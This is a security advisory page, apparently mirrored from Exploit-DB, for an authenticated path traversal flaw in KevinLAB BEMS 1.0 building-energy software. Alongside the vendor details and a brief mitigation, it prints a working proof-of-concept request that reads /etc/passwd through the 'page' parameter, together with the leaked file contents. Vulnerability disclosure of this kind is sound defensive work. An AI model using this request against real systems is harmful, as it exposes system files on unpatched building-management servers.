KevinLAB BEMS 1.0 - File Path Traversal Information Disclosure (Authenticated)

vendor:

KevinLAB BEMS

by:

LiquidWorm

5.5

CVSS

MEDIUM

File Path Traversal Information Disclosure

CWE

Product Name: KevinLAB BEMS

Affected Version From: 4ST L-BEMS 1.0.0

Affected Version To: 4ST L-BEMS 1.0.0

Patch Exists: NO

Related CWE:

CPE: a:kevinlab_inc.:kevinlab_bems:1.0.0

Metasploit:

Other Scripts:

Platforms Tested: Linux CentOS 7, Apache 2.4.6, Python 2.7.5, PHP 5.4.16, MariaDB 5.5.68

2021

KevinLAB BEMS 1.0 – File Path Traversal Information Disclosure (Authenticated)

The BEMS suffers from an authenticated arbitrary file disclosure vulnerability. Input passed through the 'page' GET parameter in index.php is not properly verified before being used to include files. This can be exploited to disclose the contents of arbitrary and sensitive files via directory traversal attacks.

Mitigation:

To mitigate this vulnerability, ensure that input passed to file inclusion functions is properly validated and sanitized. Implement proper input validation and restrict access to sensitive files.

Source

Exploit-DB raw data:

# Exploit Title: KevinLAB BEMS 1.0 - File Path Traversal Information Disclosure (Authenticated)
# Date: 05.07.2021
# Exploit Author: LiquidWorm
# Vendor Homepage: http://www.kevinlab.com

Vendor: KevinLAB Inc.
Product web page: http://www.kevinlab.com
Affected version: 4ST L-BEMS 1.0.0 (Building Energy Management System)

Summary: KevinLab is a venture company specialized in IoT, Big Data, A.I based energy
management platform. KevinLAB's BEMS (Building Energy Management System) enables
efficient energy management in buildings. It improves the efficient of energy use
by collecting and analyzing various information of energy usage and facilities in
the building. It also manages energy usage, facility efficiency and indoor environment
control.

Desc: The BEMS suffers from an authenticated arbitrary file disclosure vulnerability.
Input passed through the 'page' GET parameter in index.php is not properly verified
before being used to include files. This can be exploited to disclose the contents
of arbitrary and sensitive files via directory traversal attacks.

Tested on: Linux CentOS 7
           Apache 2.4.6
           Python 2.7.5
           PHP 5.4.16
           MariaDB 5.5.68


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2021-5656
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5656.php


05.07.2021

--


GET https://192.168.1.3/pages/index.php?page=../../../../etc/passwd HTTP/1.1

root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
...
...